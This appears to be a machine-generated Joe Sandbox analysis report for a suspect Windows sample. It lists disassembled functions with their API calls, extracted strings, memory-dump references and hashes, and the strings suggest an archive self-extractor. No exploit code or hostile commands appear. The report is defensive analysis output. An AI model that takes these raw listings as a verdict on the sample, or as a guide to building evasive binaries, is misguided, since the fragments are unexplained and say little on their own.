                                                                        • Instruction Fuzzy Hash: CBA0223008000E8BCE022B30CE0808C3B20FF28BC0B0082E8A00BCF0B2CB23880BCB00
                                                                        Function 002FAC04 Relevance: 1.5, APIs: 1, Instructions: 5COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • SetCurrentDirectoryW.KERNELBASE(?,002FAE72,C:\Users\user\Desktop,00000000,0032946A,00000006), ref: 002FAC08
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: CurrentDirectory
                                                                        • String ID:
                                                                        • API String ID: 1611563598-0
                                                                        • Opcode ID: 4ead454c43f510e3bdb64a9f188fce110ae76b9c22573c2846b73e9a115224e8
                                                                        • Instruction ID: b44d437c60f8b83ce62c7ccf6c1ca2c546a6f2d08edef85fb462071e6731f55d
                                                                        • Opcode Fuzzy Hash: 4ead454c43f510e3bdb64a9f188fce110ae76b9c22573c2846b73e9a115224e8
                                                                        • Instruction Fuzzy Hash: 07A012301001009786011B328F0554E76596F51710F00C034600080030C730C820A501

                                                                        Non-executed Functions

                                                                        Function 002FC220 Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 286timewindowfileCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                          • Part of subcall function 002E1316: GetDlgItem.USER32(00000000,00003021), ref: 002E135A
                                                                          • Part of subcall function 002E1316: SetWindowTextW.USER32(00000000,003135F4), ref: 002E1370
                                                                        • SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 002FC2B1
                                                                        • EndDialog.USER32(?,00000006), ref: 002FC2C4
                                                                        • GetDlgItem.USER32(?,0000006C), ref: 002FC2E0
                                                                        • SetFocus.USER32(00000000), ref: 002FC2E7
                                                                        • SetDlgItemTextW.USER32(?,00000065,?), ref: 002FC321
                                                                        • SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 002FC358
                                                                        • FindFirstFileW.KERNEL32(?,?), ref: 002FC36E
                                                                        • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 002FC38C
                                                                        • FileTimeToSystemTime.KERNEL32(?,?), ref: 002FC39C
                                                                        • GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 002FC3B8
                                                                        • GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 002FC3D4
                                                                        • _swprintf.LIBCMT ref: 002FC404
                                                                          • Part of subcall function 002E4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 002E40A5
                                                                        • SetDlgItemTextW.USER32(?,0000006A,?), ref: 002FC417
                                                                        • FindClose.KERNEL32(00000000), ref: 002FC41E
                                                                        • _swprintf.LIBCMT ref: 002FC477
                                                                        • SetDlgItemTextW.USER32(?,00000068,?), ref: 002FC48A
                                                                        • SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 002FC4A7
                                                                        • FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 002FC4C7
                                                                        • FileTimeToSystemTime.KERNEL32(?,?), ref: 002FC4D7
                                                                        • GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 002FC4F1
                                                                        • GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 002FC509
                                                                        • _swprintf.LIBCMT ref: 002FC535
                                                                        • SetDlgItemTextW.USER32(?,0000006B,?), ref: 002FC548
                                                                        • _swprintf.LIBCMT ref: 002FC59C
                                                                        • SetDlgItemTextW.USER32(?,00000069,?), ref: 002FC5AF
                                                                          • Part of subcall function 002FAF0F: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 002FAF35
                                                                          • Part of subcall function 002FAF0F: GetNumberFormatW.KERNEL32(00000400,00000000,?,0031E72C,?,?), ref: 002FAF84
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
                                                                        • String ID: %s %s$%s %s %s$P/$REPLACEFILEDLG
                                                                        • API String ID: 797121971-2983207715
                                                                        • Opcode ID: 0ec9779ec0857ed4a96d3ab72d401ca97b25bcacf5b9712291a3668ad0dbedc9
                                                                        • Instruction ID: cc09fe50b34e166c9f0b2c0d21ea25ec57950d8013c0a9e0d0c41f4d699f83e7
                                                                        • Opcode Fuzzy Hash: 0ec9779ec0857ed4a96d3ab72d401ca97b25bcacf5b9712291a3668ad0dbedc9
                                                                        • Instruction Fuzzy Hash: 3D91A87255834DBFD222EBA0CD49FFBB7ACEB4A740F404829F745D6081DB71A6148B62
                                                                        Function 002E6FAA Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 328fileCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • __EH_prolog.LIBCMT ref: 002E6FAA
                                                                        • _wcslen.LIBCMT ref: 002E7013
                                                                        • _wcslen.LIBCMT ref: 002E7084
                                                                          • Part of subcall function 002E7A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 002E7AAB
                                                                          • Part of subcall function 002E7A9C: GetLastError.KERNEL32 ref: 002E7AF1
                                                                          • Part of subcall function 002E7A9C: CloseHandle.KERNEL32(?), ref: 002E7B00
                                                                          • Part of subcall function 002EA1E0: DeleteFileW.KERNELBASE(000000FF,?,?,002E977F,?,?,002E95CF,?,?,?,?,?,00312641,000000FF), ref: 002EA1F1
                                                                          • Part of subcall function 002EA1E0: DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,002E977F,?,?,002E95CF,?,?,?,?,?,00312641), ref: 002EA21F
                                                                        • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,?,00000001,?), ref: 002E7139
                                                                        • CloseHandle.KERNEL32(00000000), ref: 002E7155
                                                                        • CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 002E7298
                                                                          • Part of subcall function 002E9DA2: FlushFileBuffers.KERNEL32(?,?,?,?,?,?,002E73BC,?,?,?,00000000), ref: 002E9DBC
                                                                          • Part of subcall function 002E9DA2: SetFileTime.KERNELBASE(?,?,?,?), ref: 002E9E70
                                                                          • Part of subcall function 002E9620: FindCloseChangeNotification.KERNELBASE(000000FF,?,?,002E95D6,?,?,?,?,?,00312641,000000FF), ref: 002E963B
                                                                          • Part of subcall function 002EA4ED: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,002EA325,?,?,?,002EA175,?,00000001,00000000,?,?), ref: 002EA501
                                                                          • Part of subcall function 002EA4ED: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,002EA325,?,?,?,002EA175,?,00000001,00000000,?,?), ref: 002EA532
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: File$Close$AttributesCreateDeleteHandle_wcslen$BuffersChangeCurrentErrorFindFlushH_prologLastNotificationProcessTime
                                                                        • String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
                                                                        • API String ID: 2821348736-3508440684
                                                                        • Opcode ID: 023fee070326b6dd79bea3fe940d9365b42b7969c65431d56f8df99b6f294751
                                                                        • Instruction ID: 255f831adb94199e58d85b9cb631feb6f1a31f909442ecfbdbf154d2345f1492
                                                                        • Opcode Fuzzy Hash: 023fee070326b6dd79bea3fe940d9365b42b7969c65431d56f8df99b6f294751
                                                                        • Instruction Fuzzy Hash: C0C14971954285AEDB21DF75DC41FEEB3ACEF08300F80455AFA5AE7182D730AA64CB61
                                                                        Function 0030D8EE Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: __floor_pentium4
                                                                        • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                                                        • API String ID: 4168288129-2761157908
                                                                        • Opcode ID: dfd2ca270aaa89aef9c0ece7dedaf93928c1665a23f7c5f61ec9ae980f9a5b1f
                                                                        • Instruction ID: 9143471e0fd73b206c2162e084c2c39295d48d0fafbbef257c0f661167643436
                                                                        • Opcode Fuzzy Hash: dfd2ca270aaa89aef9c0ece7dedaf93928c1665a23f7c5f61ec9ae980f9a5b1f
                                                                        • Instruction Fuzzy Hash: 49C26D71E0A6288FDB26CF28DD507EAB7B9EB44304F1545EAD44DE7280E774AE818F40
                                                                        Function 002E32F7 Relevance: 9.4, APIs: 2, Strings: 3, Instructions: 608COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: H_prolog_swprintf
                                                                        • String ID: CMT$h%u$hc%u
                                                                        • API String ID: 146138363-3282847064
                                                                        • Opcode ID: 0922cad8121b23eb0ee01bef396d3ce56039fe6f2c199d9093cc454ca3db9e55
                                                                        • Instruction ID: e163d19b99a0dcf42b00e599d49ffddb8b5a5cefdc7420c83b2419d020fdb30f
                                                                        • Opcode Fuzzy Hash: 0922cad8121b23eb0ee01bef396d3ce56039fe6f2c199d9093cc454ca3db9e55
                                                                        • Instruction Fuzzy Hash: DB32E4715603C59BDF14DF75C899AE93BA5AF15300F88047EFD8A8B282DB709A59CB20
                                                                        Function 002E286B Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 798COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • __EH_prolog.LIBCMT ref: 002E2874
                                                                        • _strlen.LIBCMT ref: 002E2E3F
                                                                          • Part of subcall function 002F02BA: __EH_prolog.LIBCMT ref: 002F02BF
                                                                          • Part of subcall function 002F1B84: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,002EBAE9,00000000,?,?,?,000103DA), ref: 002F1BA0
                                                                        • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002E2F91
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: H_prolog$ByteCharMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
                                                                        • String ID: CMT
                                                                        • API String ID: 1206968400-2756464174
                                                                        • Opcode ID: 281c7283d9e948fcf57cbbb07786b0557c1db63af595f7c8e1bb9f6110d1ba7a
                                                                        • Instruction ID: b59c5ed82595822526327a5b6fe5f1053a29062e9256266ece809db8dec467b6
                                                                        • Opcode Fuzzy Hash: 281c7283d9e948fcf57cbbb07786b0557c1db63af595f7c8e1bb9f6110d1ba7a
                                                                        • Instruction Fuzzy Hash: 836247715602C5CFDB19CF75C8867EA3BA5EF14300F58447EED9A8B282DB709969CB20
                                                                        Function 002FF838 Relevance: 6.1, APIs: 4, Instructions: 73COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • IsProcessorFeaturePresent.KERNEL32(00000017), ref: 002FF844
                                                                        • IsDebuggerPresent.KERNEL32 ref: 002FF910
                                                                        • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 002FF930
                                                                        • UnhandledExceptionFilter.KERNEL32(?), ref: 002FF93A
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
                                                                        • String ID:
                                                                        • API String ID: 254469556-0
                                                                        • Opcode ID: b0f03678f08b806c3906d9c6d050ec9b46f9fb05b513b9310cf12319e71f5502
                                                                        • Instruction ID: e060c6f3256e8fbb762b911b6fc4503a747d747d9910e2a06f265aece20d026c
                                                                        • Opcode Fuzzy Hash: b0f03678f08b806c3906d9c6d050ec9b46f9fb05b513b9310cf12319e71f5502
                                                                        • Instruction Fuzzy Hash: 75312B75D1521D9BDF51EFA4DA897CCFBB8AF08344F1041AAE50CA7290EB719B848F44
                                                                        Function 002FE6A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • VirtualQuery.KERNEL32(80000000,002FE5E8,0000001C,002FE7DD,00000000,?,?,?,?,?,?,?,002FE5E8,00000004,00341CEC,002FE86D), ref: 002FE6B4
                                                                        • GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,002FE5E8,00000004,00341CEC,002FE86D), ref: 002FE6CF
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: InfoQuerySystemVirtual
                                                                        • String ID: D
                                                                        • API String ID: 401686933-2746444292
                                                                        • Opcode ID: 20139ef36195ed77e075d0434e9f716f39831cf51633edbc92e7241b5b9753f1
                                                                        • Instruction ID: a84866b6dc6181d5733eab00b6834cffda5f32704e45616f77593fc81c9040e1
                                                                        • Opcode Fuzzy Hash: 20139ef36195ed77e075d0434e9f716f39831cf51633edbc92e7241b5b9753f1
                                                                        • Instruction Fuzzy Hash: 2701F73261010D6BDF14EE29DC09BEDBBAAAFC4364F0DC130EE19D7154D734D9158680
                                                                        Function 00308EBD Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00308FB5
                                                                        • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00308FBF
                                                                        • UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00308FCC
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                                                        • String ID:
                                                                        • API String ID: 3906539128-0
                                                                        • Opcode ID: cffe0d54301b30c60ce45a0a0a856235268dab1498d14dd822eb4b7a2ebed627
                                                                        • Instruction ID: fb2fbf1443333c7185cc0bcacc618cedd138c255e410d0d63c42094617a01a22
                                                                        • Opcode Fuzzy Hash: cffe0d54301b30c60ce45a0a0a856235268dab1498d14dd822eb4b7a2ebed627
                                                                        • Instruction Fuzzy Hash: 5D31D87491121DABCB61DF24DD897DCBBB8AF08310F5042EAE91CA7290EB709F818F44
                                                                        Function 0030B348 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: .
                                                                        • API String ID: 0-248832578
                                                                        • Opcode ID: a3301d5f538e509cdbd4198ba9ccb623b23577937bdc28cb80efd0079ca55357
                                                                        • Instruction ID: fa76363c09113faf94eec28ee0100178d302897cf3f2fb5c6a2bc6395e95d836
                                                                        • Opcode Fuzzy Hash: a3301d5f538e509cdbd4198ba9ccb623b23577937bdc28cb80efd0079ca55357
                                                                        • Instruction Fuzzy Hash: 8A312671900249AFCB269E79CC94EFBBBBDDF85304F1541A8F918D7292E7309E458B50
                                                                        Function 0030D440 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: aeb1b63111f38c8b5239956e5f87fb8bcb0c35bf5c950da3c1a86b78fccd596c
                                                                        • Instruction ID: da85f253ded40e8d756c8bf3a8e16a4cdf3865a131c130c7b3475a063d718a98
                                                                        • Opcode Fuzzy Hash: aeb1b63111f38c8b5239956e5f87fb8bcb0c35bf5c950da3c1a86b78fccd596c
                                                                        • Instruction Fuzzy Hash: F8023C71E012199BDF15CFA9C8906AEFBF1EF88314F258169D919EB384D731AD41CB80
                                                                        Function 002FAF0F Relevance: 3.0, APIs: 2, Instructions: 45COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 002FAF35
                                                                        • GetNumberFormatW.KERNEL32(00000400,00000000,?,0031E72C,?,?), ref: 002FAF84
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: FormatInfoLocaleNumber
                                                                        • String ID:
                                                                        • API String ID: 2169056816-0
                                                                        • Opcode ID: d1fcd27b0dfb6daad8128a67c3901bb65a144df299e0a11bb92cf3f7e5447543
                                                                        • Instruction ID: f754e56814ff93f03a02586038a50dfab0fc4f20026f07d02ef6c3e75fbdf19e
                                                                        • Opcode Fuzzy Hash: d1fcd27b0dfb6daad8128a67c3901bb65a144df299e0a11bb92cf3f7e5447543
                                                                        • Instruction Fuzzy Hash: D5017C7A550309BED7129FA5EC45FDA77BCEF0C750F409022FA05A71A0E370A924CBA5
                                                                        Function 002E6C74 Relevance: 3.0, APIs: 2, Instructions: 16windowCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetLastError.KERNEL32(002E6DDF,00000000,00000400), ref: 002E6C74
                                                                        • FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 002E6C95
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ErrorFormatLastMessage
                                                                        • String ID:
                                                                        • API String ID: 3479602957-0
                                                                        • Opcode ID: 98db7b78e06b1478533282c10330b874af1e2e6305c803934490e43916b73cd1
                                                                        • Instruction ID: 40ff819dffdb9b0ceb054d755c54c322415c9522b838714f371a4ed97b5879aa
                                                                        • Opcode Fuzzy Hash: 98db7b78e06b1478533282c10330b874af1e2e6305c803934490e43916b73cd1
                                                                        • Instruction Fuzzy Hash: 6BD0A730384300BFFE010F224C0EF9A3B9CBF58BC1F24C0047342D40E0C6718420A614
                                                                        Function 003119F4 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
